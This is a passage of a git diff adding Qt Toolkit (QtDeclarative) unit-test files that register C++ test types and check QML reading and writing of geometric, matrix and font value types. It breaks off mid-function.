+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "testtypes.h"
+
+void registerTypes()
+{
+ qmlRegisterType<MyTypeObject>("Test", 1, 0, "MyTypeObject");
+ qmlRegisterType<MyConstantValueSource>("Test", 1, 0, "MyConstantValueSource");
+ qmlRegisterType<MyOffsetValueInterceptor>("Test", 1, 0, "MyOffsetValueInterceptor");
+}
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/testtypes.h b/tests/auto/declarative/qdeclarativevaluetypes/testtypes.h
new file mode 100644
index 00000000..f808157a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/testtypes.h
@@ -0,0 +1,190 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef TESTTYPES_H
+#define TESTTYPES_H
+
+#include <QObject>
+#include <QPoint>
+#include <QPointF>
+#include <QSize>
+#include <QSizeF>
+#include <QRect>
+#include <QRectF>
+#include <QVector2D>
+#include <QVector3D>
+#include <QVector4D>
+#include <QQuaternion>
+#include <QMatrix4x4>
+#include <QFont>
+#include <qdeclarative.h>
+#include <QDeclarativePropertyValueSource>
+#include <QDeclarativeProperty>
+#include <private/qdeclarativeproperty_p.h>
+
+class MyTypeObject : public QObject
+{
+ Q_OBJECT
+
+ Q_PROPERTY(QPoint point READ point WRITE setPoint NOTIFY changed)
+ Q_PROPERTY(QPointF pointf READ pointf WRITE setPointf NOTIFY changed)
+ Q_PROPERTY(QSize size READ size WRITE setSize NOTIFY changed)
+ Q_PROPERTY(QSizeF sizef READ sizef WRITE setSizef NOTIFY changed)
+ Q_PROPERTY(QSize sizereadonly READ size NOTIFY changed)
+ Q_PROPERTY(QRect rect READ rect WRITE setRect NOTIFY changed)
+ Q_PROPERTY(QRectF rectf READ rectf WRITE setRectf NOTIFY changed)
+ Q_PROPERTY(QVector2D vector2 READ vector2 WRITE setVector2 NOTIFY changed)
+ Q_PROPERTY(QVector3D vector READ vector WRITE setVector NOTIFY changed)
+ Q_PROPERTY(QVector4D vector4 READ vector4 WRITE setVector4 NOTIFY changed)
+ Q_PROPERTY(QQuaternion quaternion READ quaternion WRITE setQuaternion NOTIFY changed)
+ Q_PROPERTY(QMatrix4x4 matrix READ matrix WRITE setMatrix NOTIFY changed)
+ Q_PROPERTY(QFont font READ font WRITE setFont NOTIFY changed)
+ Q_PROPERTY(QVariant variant READ variant NOTIFY changed)
+
+public:
+ MyTypeObject() :
+ m_point(10, 4),
+ m_pointf(11.3, -10.9),
+ m_size(1912, 1913),
+ m_sizef(0.1, 100923.2),
+ m_rect(2, 3, 109, 102),
+ m_rectf(103.8, 99.2, 88.1, 77.6),
+ m_vector2(32.88, 1.3),
+ m_vector(23.88, 3.1, 4.3),
+ m_vector4(54.2, 23.88, 3.1, 4.3),
+ m_quaternion(4.3, 54.2, 23.88, 3.1),
+ m_matrix(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16)
+ {
+ m_font.setFamily("Arial");
+ m_font.setBold(true);
+ m_font.setWeight(QFont::DemiBold);
+ m_font.setItalic(true);
+ m_font.setUnderline(true);
+ m_font.setOverline(true);
+ m_font.setStrikeOut(true);
+ m_font.setPointSize(29);
+ m_font.setCapitalization(QFont::AllLowercase);
+ m_font.setLetterSpacing(QFont::AbsoluteSpacing, 10.2);
+ m_font.setWordSpacing(19.7);
+ }
+
+ QPoint m_point;
+ QPoint point() const { return m_point; }
+ void setPoint(const QPoint &v) { m_point = v; emit changed(); }
+
+ QPointF m_pointf;
+ QPointF pointf() const { return m_pointf; }
+ void setPointf(const QPointF &v) { m_pointf = v; emit changed(); }
+
+ QSize m_size;
+ QSize size() const { return m_size; }
+ void setSize(const QSize &v) { m_size = v; emit changed(); }
+
+ QSizeF m_sizef;
+ QSizeF sizef() const { return m_sizef; }
+ void setSizef(const QSizeF &v) { m_sizef = v; emit changed(); }
+
+ QRect m_rect;
+ QRect rect() const { return m_rect; }
+ void setRect(const QRect &v) { m_rect = v; emit changed(); }
+
+ QRectF m_rectf;
+ QRectF rectf() const { return m_rectf; }
+ void setRectf(const QRectF &v) { m_rectf = v; emit changed(); }
+
+ QVector2D m_vector2;
+ QVector2D vector2() const { return m_vector2; }
+ void setVector2(const QVector2D &v) { m_vector2 = v; emit changed(); }
+
+ QVector3D m_vector;
+ QVector3D vector() const { return m_vector; }
+ void setVector(const QVector3D &v) { m_vector = v; emit changed(); }
+
+ QVector4D m_vector4;
+ QVector4D vector4() const { return m_vector4; }
+ void setVector4(const QVector4D &v) { m_vector4 = v; emit changed(); }
+
+ QQuaternion m_quaternion;
+ QQuaternion quaternion() const { return m_quaternion; }
+ void setQuaternion(const QQuaternion &v) { m_quaternion = v; emit changed(); }
+
+ QMatrix4x4 m_matrix;
+ QMatrix4x4 matrix() const { return m_matrix; }
+ void setMatrix(const QMatrix4x4 &v) { m_matrix = v; emit changed(); }
+
+ QFont m_font;
+ QFont font() const { return m_font; }
+ void setFont(const QFont &v) { m_font = v; emit changed(); }
+
+ QVariant variant() const { return sizef(); }
+
+ void emitRunScript() { emit runScript(); }
+
+signals:
+ void changed();
+ void runScript();
+
+public slots:
+ QSize method() { return QSize(13, 14); }
+};
+
+class MyConstantValueSource : public QObject, public QDeclarativePropertyValueSource
+{
+ Q_OBJECT
+ Q_INTERFACES(QDeclarativePropertyValueSource)
+public:
+ virtual void setTarget(const QDeclarativeProperty &p) { p.write(3345); }
+};
+
+class MyOffsetValueInterceptor : public QObject, public QDeclarativePropertyValueInterceptor
+{
+ Q_OBJECT
+ Q_INTERFACES(QDeclarativePropertyValueInterceptor)
+public:
+ virtual void setTarget(const QDeclarativeProperty &p) { prop = p; }
+ virtual void write(const QVariant &value) { QDeclarativePropertyPrivate::write(prop, value.toInt() + 13, QDeclarativePropertyPrivate::BypassInterceptor); }
+
+private:
+ QDeclarativeProperty prop;
+};
+
+void registerTypes();
+
+#endif // TESTTYPES_H
diff --git a/tests/auto/declarative/qdeclarativevaluetypes/tst_qdeclarativevaluetypes.cpp b/tests/auto/declarative/qdeclarativevaluetypes/tst_qdeclarativevaluetypes.cpp
new file mode 100644
index 00000000..0ddbc87e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativevaluetypes/tst_qdeclarativevaluetypes.cpp
@@ -0,0 +1,1017 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <qtest.h>
+#include <QDeclarativeEngine>
+#include <QDeclarativeComponent>
+#include <QDebug>
+#include <private/qdeclarativevaluetype_p.h>
+#include "testtypes.h"
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+QT_BEGIN_NAMESPACE
+extern Q_GUI_EXPORT int qt_defaultDpi();
+QT_END_NAMESPACE
+
+class tst_qdeclarativevaluetypes : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativevaluetypes() {}
+
+private slots:
+ void initTestCase();
+
+ void point();
+ void pointf();
+ void size();
+ void sizef();
+ void sizereadonly();
+ void rect();
+ void rectf();
+ void vector2d();
+ void vector3d();
+ void vector4d();
+ void quaternion();
+ void matrix4x4();
+ void font();
+ void variant();
+
+ void bindingAssignment();
+ void bindingRead();
+ void staticAssignment();
+ void scriptAccess();
+ void autoBindingRemoval();
+ void valueSources();
+ void valueInterceptors();
+ void bindingConflict();
+ void deletedObject();
+ void bindingVariantCopy();
+ void scriptVariantCopy();
+ void cppClasses();
+ void enums();
+ void conflictingBindings();
+ void returnValues();
+ void varAssignment();
+ void bindingsSpliceCorrectly();
+
+private:
+ QDeclarativeEngine engine;
+};
+
+void tst_qdeclarativevaluetypes::initTestCase()
+{
+ registerTypes();
+}
+
+inline QUrl TEST_FILE(const QString &filename)
+{
+ return QUrl::fromLocalFile(QLatin1String(SRCDIR) + QLatin1String("/data/") + filename);
+}
+
+void tst_qdeclarativevaluetypes::point()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("point_read.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("p_x").toInt(), 10);
+ QCOMPARE(object->property("p_y").toInt(), 4);
+ QCOMPARE(object->property("copy"), QVariant(QPoint(10, 4)));
+
+ delete object;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("point_write.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->point(), QPoint(11, 12));
+
+ delete object;
+ }
+}
+
+void tst_qdeclarativevaluetypes::pointf()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("pointf_read.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(float(object->property("p_x").toDouble()), float(11.3));
+ QCOMPARE(float(object->property("p_y").toDouble()), float(-10.9));
+ QCOMPARE(object->property("copy"), QVariant(QPointF(11.3, -10.9)));
+
+ delete object;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("pointf_write.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->pointf(), QPointF(6.8, 9.3));
+
+ delete object;
+ }
+}
+
+void tst_qdeclarativevaluetypes::size()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("size_read.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("s_width").toInt(), 1912);
+ QCOMPARE(object->property("s_height").toInt(), 1913);
+ QCOMPARE(object->property("copy"), QVariant(QSize(1912, 1913)));
+
+ delete object;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("size_write.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->size(), QSize(13, 88));
+
+ delete object;
+ }
+}
+
+void tst_qdeclarativevaluetypes::sizef()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("sizef_read.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(float(object->property("s_width").toDouble()), float(0.1));
+ QCOMPARE(float(object->property("s_height").toDouble()), float(100923.2));
+ QCOMPARE(object->property("copy"), QVariant(QSizeF(0.1, 100923.2)));
+
+ delete object;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("sizef_write.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->sizef(), QSizeF(44.3, 92.8));
+
+ delete object;
+ }
+}
+
+void tst_qdeclarativevaluetypes::variant()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("variant_read.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(float(object->property("s_width").toDouble()), float(0.1));
+ QCOMPARE(float(object->property("s_height").toDouble()), float(100923.2));
+ QCOMPARE(object->property("copy"), QVariant(QSizeF(0.1, 100923.2)));
+
+ delete object;
+}
+
+void tst_qdeclarativevaluetypes::sizereadonly()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("sizereadonly_read.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("s_width").toInt(), 1912);
+ QCOMPARE(object->property("s_height").toInt(), 1913);
+ QCOMPARE(object->property("copy"), QVariant(QSize(1912, 1913)));
+
+ delete object;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("sizereadonly_writeerror.qml"));
+ QVERIFY(component.isError());
+ QCOMPARE(component.errors().at(0).description(), QLatin1String("Invalid property assignment: \"sizereadonly\" is a read-only property"));
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("sizereadonly_writeerror2.qml"));
+ QVERIFY(component.isError());
+ QCOMPARE(component.errors().at(0).description(), QLatin1String("Invalid property assignment: \"sizereadonly\" is a read-only property"));
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("sizereadonly_writeerror3.qml"));
+ QVERIFY(component.isError());
+ QCOMPARE(component.errors().at(0).description(), QLatin1String("Invalid property assignment: \"sizereadonly\" is a read-only property"));
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("sizereadonly_writeerror4.qml"));
+
+ QObject *object = component.create();
+ QVERIFY(object);
+
+ QCOMPARE(object->property("sizereadonly").toSize(), QSize(1912, 1913));
+
+ delete object;
+ }
+}
+
+void tst_qdeclarativevaluetypes::rect()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("rect_read.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("r_x").toInt(), 2);
+ QCOMPARE(object->property("r_y").toInt(), 3);
+ QCOMPARE(object->property("r_width").toInt(), 109);
+ QCOMPARE(object->property("r_height").toInt(), 102);
+ QCOMPARE(object->property("copy"), QVariant(QRect(2, 3, 109, 102)));
+
+ delete object;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("rect_write.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->rect(), QRect(1234, 7, 56, 63));
+
+ delete object;
+ }
+}
+
+void tst_qdeclarativevaluetypes::rectf()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("rectf_read.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(float(object->property("r_x").toDouble()), float(103.8));
+ QCOMPARE(float(object->property("r_y").toDouble()), float(99.2));
+ QCOMPARE(float(object->property("r_width").toDouble()), float(88.1));
+ QCOMPARE(float(object->property("r_height").toDouble()), float(77.6));
+ QCOMPARE(object->property("copy"), QVariant(QRectF(103.8, 99.2, 88.1, 77.6)));
+
+ delete object;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("rectf_write.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->rectf(), QRectF(70.1, -113.2, 80924.8, 99.2));
+
+ delete object;
+ }
+}
+
+void tst_qdeclarativevaluetypes::vector2d()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("vector2d_read.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE((float)object->property("v_x").toDouble(), (float)32.88);
+ QCOMPARE((float)object->property("v_y").toDouble(), (float)1.3);
+ QCOMPARE(object->property("copy"), QVariant(QVector2D(32.88, 1.3)));
+
+ delete object;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("vector2d_write.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->vector2(), QVector2D(-0.3, -12.9));
+
+ delete object;
+ }
+}
+
+void tst_qdeclarativevaluetypes::vector3d()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("vector3d_read.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE((float)object->property("v_x").toDouble(), (float)23.88);
+ QCOMPARE((float)object->property("v_y").toDouble(), (float)3.1);
+ QCOMPARE((float)object->property("v_z").toDouble(), (float)4.3);
+ QCOMPARE(object->property("copy"), QVariant(QVector3D(23.88, 3.1, 4.3)));
+
+ delete object;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("vector3d_write.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->vector(), QVector3D(-0.3, -12.9, 907.4));
+
+ delete object;
+ }
+}
+
+void tst_qdeclarativevaluetypes::vector4d()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("vector4d_read.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE((float)object->property("v_x").toDouble(), (float)54.2);
+ QCOMPARE((float)object->property("v_y").toDouble(), (float)23.88);
+ QCOMPARE((float)object->property("v_z").toDouble(), (float)3.1);
+ QCOMPARE((float)object->property("v_w").toDouble(), (float)4.3);
+ QCOMPARE(object->property("copy"), QVariant(QVector4D(54.2, 23.88, 3.1, 4.3)));
+
+ delete object;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("vector4d_write.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->vector4(), QVector4D(-0.3, -12.9, 907.4, 88.5));
+
+ delete object;
+ }
+}
+
+void tst_qdeclarativevaluetypes::quaternion()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("quaternion_read.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE((float)object->property("v_scalar").toDouble(), (float)4.3);
+ QCOMPARE((float)object->property("v_x").toDouble(), (float)54.2);
+ QCOMPARE((float)object->property("v_y").toDouble(), (float)23.88);
+ QCOMPARE((float)object->property("v_z").toDouble(), (float)3.1);
+ QCOMPARE(object->property("copy"), QVariant(QQuaternion(4.3, 54.2, 23.88, 3.1)));
+
+ delete object;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("quaternion_write.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->quaternion(), QQuaternion(88.5, -0.3, -12.9, 907.4));
+
+ delete object;
+ }
+}
+
+void tst_qdeclarativevaluetypes::matrix4x4()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("matrix4x4_read.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE((float)object->property("v_m11").toDouble(), (float)1);
+ QCOMPARE((float)object->property("v_m12").toDouble(), (float)2);
+ QCOMPARE((float)object->property("v_m13").toDouble(), (float)3);
+ QCOMPARE((float)object->property("v_m14").toDouble(), (float)4);
+ QCOMPARE((float)object->property("v_m21").toDouble(), (float)5);
+ QCOMPARE((float)object->property("v_m22").toDouble(), (float)6);
+ QCOMPARE((float)object->property("v_m23").toDouble(), (float)7);
+ QCOMPARE((float)object->property("v_m24").toDouble(), (float)8);
+ QCOMPARE((float)object->property("v_m31").toDouble(), (float)9);
+ QCOMPARE((float)object->property("v_m32").toDouble(), (float)10);
+ QCOMPARE((float)object->property("v_m33").toDouble(), (float)11);
+ QCOMPARE((float)object->property("v_m34").toDouble(), (float)12);
+ QCOMPARE((float)object->property("v_m41").toDouble(), (float)13);
+ QCOMPARE((float)object->property("v_m42").toDouble(), (float)14);
+ QCOMPARE((float)object->property("v_m43").toDouble(), (float)15);
+ QCOMPARE((float)object->property("v_m44").toDouble(), (float)16);
+ QCOMPARE(object->property("copy"),
+ QVariant(QMatrix4x4(1, 2, 3, 4,
+ 5, 6, 7, 8,
+ 9, 10, 11, 12,
+ 13, 14, 15, 16)));
+
+ delete object;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("matrix4x4_write.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->matrix(), QMatrix4x4(11, 12, 13, 14,
+ 21, 22, 23, 24,
+ 31, 32, 33, 34,
+ 41, 42, 43, 44));
+
+ delete object;
+ }
+}
+
+void tst_qdeclarativevaluetypes::font()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("font_read.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("f_family").toString(), object->font().family());
+ QCOMPARE(object->property("f_bold").toBool(), object->font().bold());
+ QCOMPARE(object->property("f_weight").toInt(), object->font().weight());
+ QCOMPARE(object->property("f_italic").toBool(), object->font().italic());
+ QCOMPARE(object->property("f_underline").toBool(), object->font().underline());
+ QCOMPARE(object->property("f_overline").toBool(), object->font().overline());
+ QCOMPARE(object->property("f_strikeout").toBool(), object->font().strikeOut());
+ QCOMPARE(object->property("f_pointSize").toDouble(), object->font().pointSizeF());
+ QCOMPARE(object->property("f_pixelSize").toInt(), int((object->font().pointSizeF() * qt_defaultDpi()) / qreal(72.)));
+ QCOMPARE(object->property("f_capitalization").toInt(), (int)object->font().capitalization());
+ QCOMPARE(object->property("f_letterSpacing").toDouble(), object->font().letterSpacing());
+ QCOMPARE(object->property("f_wordSpacing").toDouble(), object->font().wordSpacing());
+
+ QCOMPARE(object->property("copy"), QVariant(object->font()));
+
+ delete object;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("font_write.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QFont font;
+ font.setFamily("Helvetica");
+ font.setBold(false);
+ font.setWeight(QFont::Normal);
+ font.setItalic(false);
+ font.setUnderline(false);
+ font.setStrikeOut(false);
+ font.setPointSize(15);
+ font.setCapitalization(QFont::AllLowercase);
+ font.setLetterSpacing(QFont::AbsoluteSpacing, 9.7);
+ font.setWordSpacing(11.2);
+
+ QFont f = object->font();
+ QCOMPARE(f.family(), font.family());
+ QCOMPARE(f.bold(), font.bold());
+ QCOMPARE(f.weight(), font.weight());
+ QCOMPARE(f.italic(), font.italic());
+ QCOMPARE(f.underline(), font.underline());
+ QCOMPARE(f.strikeOut(), font.strikeOut());
+ QCOMPARE(f.pointSize(), font.pointSize());
+ QCOMPARE(f.capitalization(), font.capitalization());
+ QCOMPARE(f.letterSpacing(), font.letterSpacing());
+ QCOMPARE(f.wordSpacing(), font.wordSpacing());
+
+ delete object;
+ }
+
+ // Test pixelSize
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("font_write.2.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->font().pixelSize(), 10);
+
+ delete object;
+ }
+
+ // Test pixelSize and pointSize
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("font_write.3.qml"));
+ QTest::ignoreMessage(QtWarningMsg, "Both point size and pixel size set. Using pixel size. ");
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->font().pixelSize(), 10);
+
+ delete object;
+ }
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("font_write.4.qml"));
+ QTest::ignoreMessage(QtWarningMsg, "Both point size and pixel size set. Using pixel size. ");
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->font().pixelSize(), 10);
+
+ delete object;
+ }
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("font_write.5.qml"));
+ QObject *object = qobject_cast<QObject *>(component.create());
+ QVERIFY(object != 0);
+ MyTypeObject *object1 = object->findChild<MyTypeObject *>("object1");
+ QVERIFY(object1 != 0);
+ MyTypeObject *object2 = object->findChild<MyTypeObject *>("object2");
+ QVERIFY(object2 != 0);
+
+ QCOMPARE(object1->font().pixelSize(), 19);
+ QCOMPARE(object2->font().pointSize(), 14);
+
+ delete object;
+ }
+}
+
+// Test bindings can write to value types
+void tst_qdeclarativevaluetypes::bindingAssignment()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("bindingAssignment.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->rect().x(), 10);
+
+ object->setProperty("value", QVariant(92));
+
+ QCOMPARE(object->rect().x(), 92);
+
+ delete object;
+}
+
+// Test bindings can read from value types
+void tst_qdeclarativevaluetypes::bindingRead()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("bindingRead.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("value").toInt(), 2);
+
+ object->setRect(QRect(19, 3, 88, 2));
+
+ QCOMPARE(object->property("value").toInt(), 19);
+
+ delete object;
+}
+
+// Test static values can assign to value types
+void tst_qdeclarativevaluetypes::staticAssignment()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("staticAssignment.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->rect().x(), 9);
+
+ delete object;
+}
+
+// Test scripts can read/write value types
+void tst_qdeclarativevaluetypes::scriptAccess()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("scriptAccess.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("valuePre").toInt(), 2);
+ QCOMPARE(object->rect().x(), 19);
+ QCOMPARE(object->property("valuePost").toInt(), 19);
+
+ delete object;
+}
+
+// Test that assigning a constant from script removes any binding
+void tst_qdeclarativevaluetypes::autoBindingRemoval()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("autoBindingRemoval.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->rect().x(), 10);
+
+ object->setProperty("value", QVariant(13));
+
+ QCOMPARE(object->rect().x(), 13);
+
+ object->emitRunScript();
+
+ QCOMPARE(object->rect().x(), 42);
+
+ object->setProperty("value", QVariant(92));
+
+ QCOMPARE(object->rect().x(), 42);
+
+ delete object;
+ }
+
+ /*
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("autoBindingRemoval.2.qml"));
